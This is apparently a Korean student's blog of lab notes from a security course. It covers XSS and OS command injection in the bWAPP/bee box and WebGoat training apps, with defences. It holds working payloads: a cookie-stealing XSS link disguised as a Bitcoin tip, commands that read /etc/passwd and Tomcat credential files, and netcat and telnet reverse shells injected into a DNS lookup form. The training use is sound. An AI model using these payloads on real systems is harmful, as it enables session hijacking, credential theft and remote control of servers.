<p><strong>방어 기법</strong></p>
<ul>
<li>입력값에 브라우저에서 실행할 수 있는 코드(스크립트 코드)가 포함되어 있는지 확인<ul>
<li>오류 처리</li>
<li>제거 후 사용</li>
<li>안전한 문자로 대체해서 사용 - HTML 인코딩 처리</li>
</ul>
</li>
<li>출력값에 의도하지 않은 실행 가능한 코드가 포함되어 있는지 확인<ul>
<li>제거 후 출력</li>
<li>안전한 문자로 대체해서 사용 - HTML 인코딩해서 출력</li>
</ul>
</li>
<li>필터링, 인코딩 작업을 수행할 때는 검증된 로직, 라이브러리, 프레임워크를 사용해서 구현<ul>
<li>사용자의 입력 패턴은 개인이 수작업으로 방어하는 것이 불가능</li>
<li><a href="https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html">설명</a></li>
</ul>
</li>
</ul>
<br>

<h1 id="2-cross-site-scripting---reflected-get"><strong>2. Cross-Site Scripting - Reflected (GET)</strong></h1>
<h2 id="1-동작-확인"><strong>1) 동작 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/e2fd0622-3248-42f4-96b1-459930558c4c/image.png" alt=""></p>
<p>입력창에 아무 글자나 쓰고 Go를 눌러 동작이 어떻게 되는지 확인한다. </p>
<p>공격기법의 이름처럼 스크립트 코드를 사용해서 공격하는 것이다. 이전에 했던 SQL, Command Injection과 같이 공격한다고 생각하면 공격이 이루어지지 않는다.</p>
<br>

<h2 id="2-스크립트-코드-입력"><strong>2) 스크립트 코드 입력</strong></h2>
<pre><code class="language-html">a &lt;script&gt; alert(&#39;xss&#39;) &lt;/script&gt;</code></pre>
<br>

<p>First name에 위 스크립트 코드를 같이 입력해서 스크립트 코드 처리가 되어 있는지 확인할 수 있다.</p>
<p>Last name에는 아무 문자 또는 공백을 넣어 넘어가도 된다. </p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/52601e6e-75b8-4e64-8a59-54ea20c06291/image.png" alt=""></p>
<p>XSS가 출력되는 것을 볼 수 있다.</p>
<br>

<pre><code class="language-html">a &lt;script&gt; alert(&quot;document.cookie&quot;) &lt;/script&gt;</code></pre>
<br>

<p>간단한 글자를 출력하는 게 아니라 쿠키를 출력하는 스크립트 코드를 입력하면 쿠키값을 얻을 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c43203f2-1d71-4e8c-8799-112346762c10/image.png" alt=""></p>
<br>

<h2 id="3-공격"><strong>3) 공격</strong></h2>
<p>쿠키가 나온 주소를 복사해서 공격 문자열을 링크로 만들어 불특정 다수에게 배포하게 되면 다른 사람의 쿠키 값을 얻을 수 있다.</p>
<br>

<pre><code class="language-html">&lt;a href=&quot;http://bee.box/bWAPP/xss_get.php?firstname=first+%3Cscript%3E+alert%28document.cookie%29+%3C%2Fscript%3E%09&amp;lastname=last&amp;form=submit&quot;&gt; 비트코인 대박 정보 &lt;/a&gt;</code></pre>
<p>이렇게 만들게 되면 비트코인 대박 정보라는 이름의 링크가 생기게 되고 많은 사람들은 클릭하게 되는 것이다.</p>
<br>

<h2 id="4-실습"><strong>4) 실습</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7b6028a9-79e4-4fe2-a36a-40e49c167ddf/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d1df45d1-4561-44d0-8908-8be65137b569/image.png" alt=""></p>
<p>위 DOM Based XSS 소스 코드를 위 스크립트 공격 링크로 바꿔 실습해 봤다. 위 비트코인 대박 정보 링크를 누르면 bee box 페이지로 넘어가는데 로그인이 되어 있으면 쿠키값이 나오게 된다.</p>
<br>

<h1 id="3-cross-site-scripting---stored-blog"><strong>3. Cross-Site Scripting - Stored (Blog)</strong></h1>
<h2 id="1-게시판-기능"><strong>1) 게시판 기능</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7b139223-573b-4551-9178-f0e9ca199786/image.png" alt=""></p>
<p>게시판 기능으로 사용자가 입력한 내용을 저장하고 조회할 수 있다.</p>
<p>스크립트 공격을 하기 위해서는 먼저 HTML 태그가 작동하는지 확인해야 한다.</p>
<br>

<h2 id="2-html-태그-확인"><strong>2) HTML 태그 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/9f1f677e-717b-4a08-86bf-e14e156b6818/image.png" alt=""></p>
<p>HTML 태그가 단순한 텍스트가 아닌 HTML 태그로 해석되어 처리되는 것을 확인할 수 있다.</p>
<p>게시글 내용에 HTML 태그가 있어도 검증을 하지 않는다는 것을 알았다. </p>
<p>그렇다면 스크립트 태그를 포함해 공격 문자를 저장하면 된다.</p>
<br>

<h2 id="3-script-태그"><strong>3) script 태그</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/61cf28af-53ab-48a6-b051-71bdc644a5a2/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7d7acef3-3122-4e9b-90f3-4c8eab67cad1/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/16fd53b3-9413-4b71-b06d-9c32d79f178d/image.png" alt=""></p>
<p>해당 서버에 스크립트 코드가 저장되어 있으므로, 해당 페이지에 접근할 때마다 스크립트 코드가 전달되어 실행하게 된다. 이 공격도 사용자의 클릭을 유도하는 게시글에 그럴싸한 제목으로 만들어 게시한다면 불특정 다수가 피해를 보게 된다.</p>
<br>

<h1 id="4-cookie-vs-session"><strong>4. Cookie vs Session</strong></h1>
<h2 id="1-cookie"><strong>1) Cookie</strong> </h2>
<blockquote>
<p>Stateless 한 HTTP 프로토콜에서 요청과 요청 간의 관계를 유지하기 위해서 도입된 개념<br><a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies">추가 설명</a></p>
</blockquote>
<p>로그인 페이지가 있다고 가정한다.</p>
<br>

<table>
<thead>
<tr>
<th align="center"><strong>Client</strong></th>
<th align="center"><strong>POST /login</strong></th>
<th align="center"><strong>Server</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center">ID : abc   PW : xyz</td>
<td align="center">ID=abc&amp;PW=xyz</td>
<td align="center">요청 파라미터로 전달된 ID와 PW를 이용해서 인증</td>
</tr>
</tbody></table>
<br>

<p>클라이언트는 ID와 PW로 서버에게 요청을 보내면 요청 본문에 포함되어 전달된다. 서버는 요청받은 파라미터로 전달된 ID와 PW를 이용해서 DB 조회를 해서 인증을 한다.</p>
<p>서버가 인증에 성공하면 클라이언트에게 식당 번호표를 주는 것과 비슷하다. 식당에 예약하고 번호표를 받아 차례가 되면 번호표를 들고 다시 요청하듯이 서버는 클라이언트에게 번호표와 비슷한 쿠키를 준다. </p>
<p>쿠키는 서버가 주는 것이고 다음 요청에서 서버가 필요로 하는 값이다. 서버는 쿠키를 전달할 때 Set-Cookie로 응답 헤더에 담아서 전달한다. </p>
<p>클라이언트는 동일한 서버로 요청할 때 브라우저가 자동으로 쿠키라는 헤더로 설정해서 그대로 전달한다. 서버는 클라이언트가 쿠키를 주고 요청하면 쿠키로 전달된 값을 이용해서 해당 사용자에게 맞는 응답을 전달한다.</p>
<br>

<h3 id="1-안전한-쿠키-사용"><strong>(1) 안전한 쿠키 사용</strong></h3>
<ul>
<li>중요 정보가 쿠키에 포함되지 않도록 한다.<ul>
<li>설계 시 중요 정보가 포함되지 않도록 지침을 만들고 지침에 따라서 개발</li>
</ul>
</li>
<li>쿠키에 중요 정보가 포함되어야 하는 경우<ul>
<li>암호화해서 전달</li>
<li>안전한 암호화 알고리즘과 키 길이를 사용, 키 관리를 안전하게 진행</li>
<li>HTTPS와 같은 보안 채널을 전달</li>
<li>Secure 속성을 활성화해서 쿠키를 전달</li>
</ul>
</li>
<li>쿠키가 하드디스크에 지속해서 남아 있거나 임의로 접근하지 못 하도록 설정<ul>
<li>쿠키의 지속 시간(Max-Age)과 유효 기간(Expires)을 최소한으로 설정</li>
<li>스크립트를 이용해서 쿠키값에 접근, 조작하는 것 방지</li>
<li>HttpOnly 속성을 활성화해서 쿠키 전달</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-session"><strong>2) Session</strong></h2>
<table>
<thead>
<tr>
<th align="center"><strong>Client</strong></th>
<th align="center"><strong>POST /login</strong></th>
<th><strong>Server</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center">ID : abc   PW : xyz</td>
<td align="center">ID=abc&amp;PW=xyz</td>
<td>요청 파라미터로 전달된 ID와 PW를 이용해서 인증   서버가 가지고 있는 객체에 사용자 정보를 저장   서버에 의해 보호하고 해당 정보에 접근할 수 있는   키 발급 sid:1234</td>
</tr>
</tbody></table>
<p>서버 Session에서는 다음 요청에 필요로 하는 값을 주는데 키를 발급해서 sid로 준다. 쿠키를 줄 때와는 다르게 정보 그 자차를 전달하지 않고 정보에 접근할 수 있는 키만 전달한다.</p>
<p>클라이언트가 동일한 서버로 요청할 때 브라우저가 자동으로 쿠키를 설정해서 전달하고 서버는 쿠키를 통해 전달된 키를 이용해서 정보에 접근하여 사용자에게 맞는 서비스를 제공한다.</p>
<ul>
<li>요청, 응답 과정에서 정보 유출이 발생하지 않음</li>
<li>정보에 접근할 수 있는 키가 유출되는 경우 서버를 속여 서버에 저장된 정보에 접근이 가능</li>
<li>키를 잘 만들고 관리하는 것이 중요</li>
</ul>
<br>

<h3 id="1-세션-id를-잘못-생성-관리했을-때-발생할-수-있는-문제"><strong>(1) 세션 ID를 잘못 생성, 관리했을 때 발생할 수 있는 문제</strong></h3>
<ul>
<li>세션 ID 고정<ul>
<li>인증 전과 인증 후 동일한 세션 ID를 유지하는 경우</li>
</ul>
</li>
<li>세션 ID 추측<ul>
<li>세션 ID 생성 규칙을 유추할 수 있는 경우</li>
</ul>
</li>
<li>세션 ID 훔치기<ul>
<li>XSS 공격</li>
<li>스크립트 코드를 이용해서 브라우저에 저장된 세션 ID를 탈취할 수 있는 경우</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - WebGoat, Bee box, Command Injection]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-Command-Injection</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-Command-Injection</guid>
            <pubDate>Thu, 28 Mar 2024 17:37:34 GMT</pubDate>
            <description><![CDATA[<h1 id="1-command-injection"><strong>1. Command Injection</strong></h1>
<p>애플리케이션에 운영체제 명령어(= 쉘 명령어)를 실행하는 기능이 존재하는 경우, 외부 입력값을 검증, 제한하지 않고 운영체제 명령어 또는 운영체제 명령어의 일부로 사용되는 경우 발생한다. </p>
<p>시스템의 제어권을 탈취해 해당 시스템을 원격에서 공격자가 마음대로 제어할 수 있게 된다.</p>
<br>

<h2 id="1-운영-체제-명령어를-실행하는-기능"><strong>1) 운영 체제 명령어를 실행하는 기능</strong></h2>
<h3 id="1-java"><strong>(1) Java</strong></h3>
<blockquote>
<p><strong>Runtime.getRuntime().exec(&quot;쉘 명령어&quot;)</strong></p>
</blockquote>
<ul>
<li>쉘 명령어를 해당 시스템에서 실행하고 결과를 반환</li>
</ul>
<br>

<h3 id="2-php"><strong>(2) PHP</strong></h3>
<blockquote>
<p><strong>exec(&quot;쉘 명령어&quot;)</strong></p>
</blockquote>
<ul>
<li><a href="https://www.php.net/manual/en/function.exec.php">exec 설명</a></li>
</ul>
<br>

<h3 id="3-python"><strong>(3) Python</strong></h3>
<blockquote>
<p><strong>subprocess.run([쉘 명령어])</strong><br><strong>os.system(&quot;쉘 명령어&quot;)</strong></p>
</blockquote>
<ul>
<li><a href="https://stackabuse.com/executing-shell-commands-with-python/">명령어 설명</a></li>
</ul>
<br>

<h2 id="2-외부-입력값-검증-제한"><strong>2) 외부 입력값 검증, 제한</strong></h2>
<h3 id="1-검증"><strong>(1) 검증</strong></h3>
<ul>
<li>추가 명령어를 실행하는 데 사용하는 &amp;, |, ; 등의 문자열 포함 여부를 확인하지 않고 사용</li>
</ul>
<p>외부 입력값에 위 문자열이 있는지를 검증해야 한다.</p>
<br>

<h3 id="2-제한"><strong>(2) 제한</strong></h3>
<p>내부 로직에서 사용할 수 있는 명령어 또는 명령어의 파라미터 값을 화이트 리스트 방식으로 입력값을 제한하지 않는 경우 의도하지 않은 명령어가 전달되어 실행될 수 있다.</p>
<br>

<h2 id="3-입력값을-제한하는-방법"><strong>3) 입력값을 제한하는 방법</strong></h2>
<h3 id="1-화이트-리스트-방식"><strong>(1) 화이트 리스트 방식</strong> </h3>
<ul>
<li>허용 목록 방식</li>
<li>사용할 수 있는 값을 미리 정의하고 정의된 범위 내의값만 사용하도록 제한</li>
<li>새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전</li>
</ul>
<p>일반적으로 들어올 수 있는 값이 정해져 있기 때문에 화이트 리스트 방식 사용을 권고한다. </p>
<br>

<h3 id="2-블랙-리스트-방식"><strong>(2) 블랙 리스트 방식</strong></h3>
<ul>
<li>제한 목록 방식</li>
<li>사용할 수 없는 값을 미리 정의하고 정의된 범위 외의 값만 사용하도록 제한</li>
<li>모집합의 규모가 크고, 변화가 심한 경우 사용</li>
</ul>
<br>

<h2 id="4-외부-입력값을-운영체제-명령어로-사용하는-경우"><strong>4) 외부 입력값을 운영체제 명령어로 사용하는 경우</strong></h2>
<pre><code class="language-java">String cmd = request.getParameter(&quot;cmd&quot;);
Runtime.getRuntim().exec(cmd);</code></pre>
<br>

<h3 id="1-위-코드에-대한-개발자-의도"><strong>(1) 위 코드에 대한 개발자 의도</strong></h3>
<ul>
<li>run.jsp?cmd=ifconfig</li>
</ul>
<br>

<h3 id="2-위-코드에-대한-공격자-조작"><strong>(2) 위 코드에 대한 공격자 조작</strong></h3>
<ul>
<li>run.jsp?cmd=cat /etc/passwd</li>
<li>run.jsp?cmd=ifconfig &amp; cat /etc/passwd</li>
</ul>
<p>개발자가 의도하지 않은 명렁어 또는 추가 명령어로 계정 정보가 노출될 수 있다.</p>
<br>

<h2 id="5-명령어의-일부로-사용하는-경우"> <strong>5) 명령어의 일부로 사용하는 경우</strong></h2>
<pre><code class="language-java">String file = request.getParameter(&quot;file&quot;);
Runtime.getRuntim().exec(&quot;cat &quot; + file);</code></pre>
<br>

<h3 id="1-위-코드에-대한-개발자-의도-1"><strong>(1) 위 코드에 대한 개발자 의도</strong> </h3>
<ul>
<li>view.jsp?file=/data/upload/myfile.txt</li>
</ul>
<p>cat 명령어의 일부(파라미터)로 사용하여 /data/upload/ 아래에 있는 myfile.txt 내용을 반환</p>
<br>

<h3 id="2-위-코드에-대한-공격자-조작-1"><strong>(2) 위 코드에 대한 공격자 조작</strong></h3>
<ul>
<li>view.jsp?file=/data/upload/myfile.txt &amp; cat /etc/passwd</li>
</ul>
<p>추가 명령어 실행을 통해서 시스템 파일 내용을 반환</p>
<br>

<h2 id="6-방어-기법"><strong>6) 방어 기법</strong></h2>
<h3 id="1-불필요한-운영체제-명령어-실행-제거"><strong>(1) 불필요한 운영체제 명령어 실행 제거</strong></h3>
<p>운영체제 명령어 실행이 꼭 필요한지 확인하고 불필요한 경우 해당 기능을 제거하거나 다른 기능으로 대체하고,</p>
<p>설계적인 측면에서는 운영체제 명령어 실행이 발생하지 않도록 설계해야 한다.</p>
<br>

<h3 id="2-화이트-리스트-방식으로-제한"><strong>(2) 화이트 리스트 방식으로 제한</strong></h3>
<p>시스템 내부에서 사용할 운영체제 명령어 또는 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용하도록 제한 한다.</p>
<br>

<h3 id="3-추가-명령어-문자-검증"><strong>(3) 추가 명령어 문자 검증</strong></h3>
<p>입력값에 추가 명령어 실행에 사용되는 &amp;, |, ; 등의 문자가 포함되어 있는지 검증한다.</p>
<br>

<h3 id="4-입력값-코드화"><strong>(4) 입력값 코드화</strong></h3>
<p>외부에서 시스템 내부 처리를 유추할 수 없도록 입력값을 코드화해야 한다. </p>
<pre><code class="language-java">String cmd = request.getParameter(&quot;cmd&quot;);

if (cmd == &quot;CMD001&quot;) 
   Runtime.getRuntim().exec(&quot;ifconfig&quot;);</code></pre>
<p>위 코드에 대한 개발자가 원했던 실행 ⇒ run.jsp?cmd=CMD001 </p>
<p>외부에서는 CMD001이 어떻게 쓰이는지 알 수 없도록 캡슐화, 코드화해서 작성해야 한다.</p>
<br>

<h1 id="2-webgoat-실습"><strong>2. WebGoat 실습</strong></h1>
<blockquote>
<p><strong>Command Injection</strong></p>
</blockquote>
<ul>
<li>목표는 C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml 파일 내용 출력</li>
</ul>
<br>

<h2 id="1-개발자-도구-사용해서-유추"><strong>1) 개발자 도구 사용해서 유추</strong></h2>
<p>지금까지 실습했던 것처럼 개발자 도구를 사용해 GET 방식으로 유추한다.</p>
<blockquote>
<p>attack?Screen=6&amp;menu=1100&amp;HelpFile=AccessControlMatrix.help&amp;SUBMIT=View</p>
</blockquote>
<br>

<h2 id="2-도움말"><strong>2) 도움말</strong></h2>
<blockquote>
<p>cmd.exe /c type &quot;C:\FullstackLAB\workspace\(경로 생략)\ AccessControlMatrix .html&quot;</p>
</blockquote>
<p>외부에서 전달되는 값을 검증, 제한하지 않으면 위 경로에 추가 명령어를 사용할 수 있다.</p>
<br>

<h2 id="3-추가-명령어"><strong>3) 추가 명령어</strong></h2>
<blockquote>
<p>cmd.exe /c type &quot;C:\FullstackLAB\workspace\(경로 생략)\ AccessControlMatrix .html&quot; &amp; type C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml</p>
</blockquote>
<br>

<h2 id="4-burp-suite-사용"><strong>4) Burp Suite 사용</strong></h2>
<h3 id="1-intercept"><strong>(1) Intercept</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/e3d60811-68d2-4024-92a8-fc14600be05a/image.png" alt=""></p>
<br>

<h3 id="2-요청"><strong>(2) 요청</strong> </h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0c0f6b7d-b099-43ba-a7e6-716182f5b229/image.png" alt=""></p>
<br>

<h3 id="3-파라미터값-변조"><strong>(3) 파라미터값 변조</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/df796bd7-9921-4eee-a5a0-c0ad2a8ae2b6/image.png" alt=""></p>
<br>

<h3 id="4-확인"><strong>(4) 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7b71c752-6902-45c0-8e99-0b61644b58f2/image.png" alt=""></p>
<br>

<h3 id="5-실험"><strong>(5) 실험</strong></h3>
<p>CLI에서 한 줄에 여러 실행을 하는 명령어는 <strong>&amp;</strong> 말고 <strong>;</strong> 도 있다. <strong>;</strong>을 사용해 해결되는지 궁금해서 확인해 봤다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0bfcf961-fa38-4f9d-988c-c683b8cb6629/image.png" alt=""></p>
<ul>
<li><strong>위 실습과 다르게 &quot;;을 입력 후 경로 입력</strong></li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/e6cd9909-82af-4122-a415-c85523a06363/image.png" alt=""></p>
<p>성공 메시지는 안 나오고 내용은 나오는 현상을 볼 수 있다. URL 인코딩이 안 돼 문제가 되는 것 같아 URL 인코딩 명령문으로 수정했다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/f0557579-a2cf-47f5-bb49-296beb4bad95/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/e42bbae1-67f7-42f1-af79-2ae0d0eab6c4/image.png" alt=""></p>
<p>같은 결과로 성공 메시지가 없이 내용이 나온다.</p>
<br>

<ul>
<li><strong>결론</strong></li>
</ul>
<p><strong>&amp;</strong>와 <strong>;</strong>의 차이점에 있는 것 같다. </p>
<p>&amp;는 앞 명령어의 실행 결과에 따라 뒤 명령어 실행 여부를 결정한다. 즉, 앞 명령어가 성공적으로 실행된 후에만 뒤 명령어가 실행되는 것이다. </p>
<p><strong>;</strong>은 앞 명령어의 실행 성공 여부와 관계없이 뒤 명령어를 실행한다. </p>
<p>위 문제에서는 앞의 문서가 먼저 나오고 뒤 추가 명령문의 문서가 나와야 하는데 <strong>;</strong>을 사용함으로써 앞문서 성공 여부에 관계 없어져 성공 메시지가 나오지 않은 것으로 이해했다.</p>
<br>

<h2 id="5-개발자-도구를-이용한-방법"><strong>5) 개발자 도구를 이용한 방법</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/823cd8ac-8daf-480e-a777-fa91a09c824b/image.png" alt=""></p>
<p>개발자 도구를 이용해 두 번째에 있는 문서에 추가 명령어를 넣어 수정하면 아주 간단하게 해결된다.</p>
<p>여기서는 &amp; ls -al, &amp; dir, &amp; 경로 등 시도 해봤지만, ping 하나만 해결되는 것을 볼 수 있었다.</p>
<br>

<h1 id="3-bee-box-실습"><strong>3. Bee box 실습</strong></h1>
<p>bee.box에 로그인한 후 OS Command Injection에 들어간다. </p>
<p>들어가면 DNS lookup이 보이는데, 검색하면 알아보기 힘들게 출력된다. 이 문제를 해결하기 위해 bee box 가상머신에서 commandi.php 파일을 수정해야 한다. 관리자 권한 실행인 sudo로 열어야 저장된다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/22aae108-048d-4a26-a563-9d4d33a32955/image.png" alt=""></p>
<h2 id="1-nslookup"><strong>1) nslookup</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/843f7f38-4083-4c24-996e-711c01878f1d/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/1a4920c0-4fa8-4d57-a41c-3537e01fe28f/image.png" alt=""></p>
<p>위 두 사진은 bee.box 웹 페이지에서 검색한 결과와 bee box 터미널에서 lookup 사용한 결과를 보여준다.</p>
<p>두 내용을 비교해 보면 동일한 내용이 출력되는 것을 확인할 수 있다. 즉, 웹 페이지에서 사용자 입력한 값이 서버 내부에서 운영체제 명령어 실행에 사용되는 것을 추측할 수 있다. </p>
<p>그렇다면 이전 실습과 같이 검색할 주소 뒤에 추가 명령어를 사용한다면 어떻게 될까?</p>
<br>

<h2 id="2-추가-명령어"><strong>2) 추가 명령어</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a16decd3-11ca-409b-946e-4a65f361a906/image.png" alt=""></p>
<p>추가 명령어를 실행하면 웹 페이지에서 볼 수 없는 내용까지 나온다. 이는 입력값이 서버 내부로 전달되어 사용되기까지 검증, 제한을 하지 않기 때문이다.</p>
<br>

<h2 id="3-ncnetcat을-이용한-리버스-커넥션"><strong>3) nc(netcat)을 이용한 리버스 커넥션</strong></h2>
<h3 id="1-kali-가상머신에서-특정-포트를-리스닝하는-서버를-실행"><strong>(1) kali 가상머신에서 특정 포트를 리스닝하는 서버를 실행</strong></h3>
<ul>
<li>nc -l -p 8282</li>
</ul>
<br>

<h3 id="2-웹-페이지에서-명령어-입력"><strong>(2) 웹 페이지에서 명령어 입력</strong></h3>
<ul>
<li><a href="http://www.naver.com">www.naver.com</a> ; nc kali.linux 8282 -e /bin/bash</li>
</ul>
<p>주소와 포트 번호로 연결하고, 연결에 성공하면 /bin/bash를 실행하는 명령어다.</p>
<br>

<h3 id="3-취약한-서버로-명령어-전달"><strong>(3) 취약한 서버로 명령어 전달</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/17872d86-5aaf-4a5f-86c9-1680debaeff2/image.png" alt=""></p>
<p>kali에서 명령어를 실행하고 있지만, pwd 명령어와 ip를 보면 bee box의 위치와 ip가 나오는 것을 확인할 수 있다.</p>
<p>이는 bee box 서버에서 명령어가 실행되고 출력되는 것인데, kali에서 명령어를 실행하고 출력하기 때문에 bee box 사용자는 알 수 없다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/f092ebbe-a0da-4404-b449-dad9f37279bf/image.png" alt=""></p>
<p>kali가 bee box 서버 내부의 쉘 명령어를 사용하기 위해서는 ssh나 telnet으로 접속해서 쉘 명령어를 사용해야 하지만, 알 수 없는 곳으로부터 오는 것은 일반적으로는 보안 정책상 제공하지 않는다. 지정해 놓은 관리자가 있다면 관리자가 위치한 곳에서의 접속은 허용한다.</p>
<p>방화벽에서 인바운드에 대해서는 제약이 많은데 내부에서 외부로 나가는 것은 열려 있어야 네트워킹이 원활하게 되기 때문에 열려있는 것이 많다. </p>
<p>kali에서 bee box로 들어갈 수 없으면 내부에서 외부로 나오도록 해줘야 한다. bee box 서버 관리하는 사람이 있다면 그 사람이 8282 서버에 연결할 수 있는 nc kali.linux 8282 -e /bin/bash를 입력해 주면 간단하게 해결되지만, 해당 서버 관리하는 사람을 알지 못한다면 해당 서버에서 명령어는 입력하지 못한다. 그렇다면 다음으로는 어떻게 해야 할까?</p>
<p>위에서 추가 명령어를 사용했을 때 봤듯이 bee box 웹 서버에서 쉘 명령어를 이용해 검색해 주는 서비스를 보았다. 이것을 이용하면 사람이 없어도 쉘 명령어를 사용할 수 있게 된다.</p>
<p>kali에서 연결을 생성하는 명령어를 웹 서버에 전달하면 웹 서버는 쉘 명령어로 인식하고 쉘 명령어를 실행해 쉘은 8282 서버에 연결해 주는 것이다. 그러면 내부에서 내부로 나가게 되는 것이다.</p>
<p>이 공격을 하기 위한 전제 조건은 bee box에 nc라는 명령어가 존재하기 때문에 가능하다. nc가 없는 경우도 있는데, 없으면 어떻게 할지 알아본다.</p>
<br>

<h2 id="4-텔넷을-이용한-리터스-커넥션"><strong>4) 텔넷을 이용한 리터스 커넥션</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fd653450-0401-4ccd-a8ef-52e2e0ef484d/image.png" alt=""></p>
<p>위에서는 nc를 통해 8282 서버에 쉘 명령어 출력을 보냈지만, 이번에는 9292로 출력한다.</p>
<br>

<h3 id="1-kali-가상머신에-두-개의-서비스-실행"><strong>(1) kali 가상머신에 두 개의 서비스 실행</strong></h3>
<ul>
<li>nc -l -p 8282</li>
<li>nc -l -p 9292</li>
</ul>
<p>두 개의 터미널을 열고 각각 실행한다.</p>
<br>

<h3 id="2-취약점을-가진-웹-페이지"><strong>(2) 취약점을 가진 웹 페이지</strong></h3>
<p>취약점을 가진 OS Command Injection 페이지에 텔넷으로 연결하는 명령어를 작성한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/502a1620-a1b6-4c91-bf14-8afa4705504e/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/22b2b5f1-1c1f-4f97-a2a3-2514ab852b9d/image.png" alt=""></p>
<br>

<h2 id="5-취약점-소스-코드-확인"><strong>5) 취약점 소스 코드 확인</strong></h2>
<blockquote>
<p><strong>sudo gedit /var/www/bWAP/commandi.php</strong></p>
</blockquote>
<p>bee box에서 commandi.php를 확인한다.</p>
<p>문제가 되는 부분은 140번 줄이다.</p>
<br>

<pre><code class="language-php">&quot;&lt;p align=\\&quot;left\\&quot;&gt;&lt;pre&gt;&quot; . shell\_exec(&quot;nslookup  &quot; . commandi($target)) . &quot;&lt;/pre&gt;&lt;/p&gt;&quot;;</code></pre>
<p><a href="http://%E2%87%92%20https://www.php.net/manual/en/function.shell-exec.php">shell_exec 설명</a>은 이곳으로 대체한다.</p>
<p>쉘을 실행하고 commandi함수를 호출한다. 
<br></p>
<pre><code class="language-php">function commandi($data)            
{
    switch($_COOKIE[&quot;security_level&quot;])
    {
        case &quot;0&quot; :
            $data = no_check($data);
            break;

        case &quot;1&quot; :
            $data = commandi_check_1($data);
            break;

        case &quot;2&quot; :
            $data = commandi_check_2($data);
            break;

        default :
            $data = no_check($data);
            break;
    }

    return $data;
}

function commandi_check_1($data)            
{
    $input = str_replace(&quot;&amp;&quot;, &quot;&quot;, $data);        
    $input = str_replace(&quot;;&quot;, &quot;&quot;, $input);
    return $input;
}

function commandi_check_2($data)
{
    return escapeshellcmd($data);        
}</code></pre>
<p>호출한 commandi 함수는 보안 등급에 따라 입력값을 필터링해서 반환하는 함수다.</p>
<p>밑에 있는 commandi_check_1 함수는 functions_external.php 파일에 정의되어 있는 함수다. 편의상, 같이 적었다.</p>
<p>위 두 함수를 보면 shell_exec는 commandi 함수를 호출하는데 매개변수로 입력값을 전달한다.</p>
<p>이때 commandi 함수는 보안 등급에 따라 입력값을 필터링하는데 기본 설정이 no_check이므로 Injection이 되는 것이다.</p>
<p>check_1 함수를 보면 운영체제 명령어 뒤에 추가 명령어를 사용할 수 있게 하는 &amp; 또는 ; 이 포함되어 있으면 제거하고 반환한다.</p>
<p><a href="https://www.php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd 설명</a>은 이곳으로 대체한다.</p>
<p>이렇게 OS Command Injection 실습은 이렇게 실행하는 데 shell_exec 함수를 사용하는데 외부에서 입력된 문자를 check 함수가 검증, 제한하지 않아서 문제가 된다.</p>
<br>

<h3 id="1-파일-오픈"> <strong>(1) 파일 오픈</strong></h3>
<p>불필요한 운영체제 명령어를 실행해서 파일 내용을 반환하는 게 아니라 파일을 오픈해서 내용을 반환하는 방법을 사용하는 게 더 안전한 방법이다.</p>
<p>파이썬으로 운영체제 명령어를 실행하는 코드를 실습한다.</p>
<br>

<ul>
<li><strong>help.py - 불필요한 운영체제 명령어 실행</strong></li>
</ul>
<pre><code class="language-py">import subprocess
import sys 

# return &lt;file_path&gt;&#39;s contents using cat command 
def return_file_contents(file_path):
    try:
        contents = subprocess.run([&#39;cat&#39;, file_path], capture_output=True, text=True, check=True)
                  return contents.stdout    
    except subprocess.CalledProcessError as e:
        print(f&quot;Error: {e}&quot;)
